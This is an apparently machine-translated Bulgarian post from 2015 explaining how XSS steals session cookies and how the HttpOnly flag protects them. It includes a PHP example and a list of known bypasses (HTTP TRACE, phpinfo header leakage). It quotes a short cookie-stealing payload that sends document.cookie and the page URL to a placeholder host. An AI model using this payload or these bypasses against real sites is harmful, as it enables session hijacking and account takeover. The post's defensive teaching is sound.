С нарастването на www услугите все повече приложения се преместват към B/S структури, така че различни уеб услуги могат да бъдат достъпвани само с един браузър, но това все повече води до все повече проблеми със сигурността на уеб мрежата. www услугата разчита на Http протокола, Http е протокол без състояние, така че за да се предава информация между сесиите, е неизбежно да се използват бисквитки или сесии и други технологии за маркиране на състоянието на посетителя, и независимо дали е бисквитка или сесия, обикновено се реализира с помощта на бисквитки (Сесията всъщност се маркира с токен в бисквитката на браузъра, Сървърът получава този токен и проверява легитимността му, като свързва съответното състояние, съхранено на сървъра, към браузъра), така че неизбежно да се фокусира върху бисквитката безопасно, стига тази бисквитка да бъде получена, може да се получи идентичността на други, което е чудесно за нарушителите, особено когато получената бисквитка принадлежи на високо привилегировано лице като администратор, вредата е още по-голяма. Сред различните проблеми с уеб сигурността, уязвимостта XSS е особено опасна.
За приложенията, веднъж щом има уязвимост към XSS, това означава, че други могат да изпълняват произволни JS скриптове във вашия браузър, а ако приложението е с отворен код или функциите са публични, други могат да използват Ajax за тези функции, но процесът често е тромав, особено ако искате директно да получите чужда самоличност за случайно сърфиране. За приложения с неотворен код, като уеб фона на някои големи сайтове (значителна характеристика на web2.0 е големият брой взаимодействия, потребителите често трябва да взаимодействат с администраторите на заден план, като доклади за бъгове или доставка на информация и др.), въпреки че може да има уязвимости при крос-сайт скриптиране поради наличието на взаимодействие, но поради липсата на разбиране на фона е невъзможно да се конструира перфектен ajax код за използване, дори ако можете да използвате js за получаване на фоновия код и да го върнете за анализ, но процесът е и тромав и не е скрит. В момента е много ефективно да се използва уязвимостта xss за получаване на бисквитки или отвличане на сесия, конкретно анализ на удостоверяването на приложението, след това да се използват определени техники и дори да се получи постоянно самоличността на другата страна, дори ако другата страна напусне програмата.
И така, как да се получи отвличане на бисквитки или сесия? В обекта документ в браузъра се съхранява информацията за бисквитките, а бисквитката може да бъде извлечена чрез js, докато получите тази бисквитка, можете да имате чужда идентичност. Типична XSS атака е следната:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Някои приложения могат да използват техники за обвързване на браузъра, за да решат този проблем, като например да обвързват бисквитките с потребителския агент на браузъра и да считат бисквитките за невалидни, когато бъдат открити. Този метод се оказа неефективен, защото когато нарушителят открадне бисквитката, той трябва да е получил и потребителския агент едновременно. Има и друга строга схема, която обвързва бисквитките с Remote-addr (всъщност е обвързана с IP, но някои програми имат проблеми с метода за получаване на IP, което също води до пестеливост на потребителски ресурси), но това води до много лошо потребителско изживяване, смяната на IP адрес е често срещана практика, например работата и дома са 2 IP адреса, затова този метод често не се използва. Затова атаките, базирани на бисквитки, са много популярни сега и е лесно да се получи администраторският статус на приложението на някои сайтове с уеб 2.0.
Как да пазим нашите чувствителни бисквитки в безопасност? Чрез горния анализ се получават общи бисквитки от документни обекти и просто трябва да направим чувствителните бисквитки невидими в документа на браузъра. За щастие, браузърите вече обикновено приемат параметър, наречен HttpOnly при задаване на бисквитки, както и други параметри като domain, след като този HttpOnly е зададен, няма да виждате бисквитката в обекта за документ на браузъра и браузърът няма да бъде засегнат по никакъв начин при сърфиране, защото бисквитката ще бъде изпратена в заглавката на браузъра (включително ajax). Приложенията обикновено не използват тези чувствителни бисквитки в js, ние използваме HttpOnly за някои чувствителни бисквитки и не задаваме някои бисквитки, които трябва да се управляват с js, в приложението, което гарантира сигурността на информацията за бисквитките и самото приложение. За повече информация относно HttpOnly вижте http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Заглавието за задаване на бисквитки във вашия браузър е следното:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Като пример php, поддръжката на HttpOnly е добавена към функцията Setcookie в php 5.2, например:
setcookie ("abc", "test", NULL, NULL, NULL, NULL, TRUE);
Можете да зададете abc бисквитката на HttpOnly и документът няма да бъде видим за тази бисквитка. Тъй като функцията setcookie по същество е хедър, можете да използвате заглавката, за да зададете HttpOnly. След това използвайте document.cookie, за да видите, че тази бисквитка вече не е налична. Използваме този метод, за да защитим Sessionid, като например някои авторични бисквитки за автентикация, така че да не се притесняваме за получаването на идентичността, което е от голямо значение за някои фонови програми и уебмейл за подобряване на сигурността. Когато използваме горния метод за атака отново, виждаме, че вече не можем да получаваме чувствителни бисквитки, които сме зададени като HttpOnly.
Въпреки това, може да се види и че HttpOnly не е всемогъщ, първо, не може да реши проблема с xss, все още не може да устои на атаката на някои търпеливи хакери, нито може да предотврати нарушителите да правят ajax submissions, а дори се появиха и някои xss-базирани проксита, но е възможно да се повиши прагът на атаките, поне xss атаките не се изпълняват от всеки скрипт дете, а други методи на атака се дължат на някои ограничения в околната среда и техническите условия. Не е толкова често срещано, колкото кражбата на бисквити.
HttpOnly може също да експлоатира някои уязвимости или да конфигурира Bypass, но основният проблем е, че стига да можеш да получиш заглавието на бисквитките, изпратено от браузъра. Например, предишната Http Trace атака може да върне бисквитката във вашия хедър, а тази атака може да бъде завършена чрез използване на ajax или flash, които също са били поправени в ajax и flash. Друг забележителен пример за възможно заобикаляне на конфигурация или приложение е phpinfo, както знаете, phpinfo ще показва HTTP заглавието, изпратено от браузъра, включително информацията за автентикация, която защитаваме, и тази страница често съществува на различни сайтове, стига да използвате ajax, за да получите страницата на phpinfo, премахвате частта, съответстваща на заглавката, за да получите бисквитките. Несъвършенствата в някои приложения също могат да доведат до изтичане на заглавия, което може да бъде атаковано също толкова, колкото страница, защитена с основна проверка.
HttpOnly е по-добре поддържан в IE 6 и по-горе, широко се използва в приложения като Hotmail и е постигнал сравнително добри резултати по отношение на сигурността.
|
Публикувано в 3.06.2015 г. 20:57:48 ч.
|
|
|
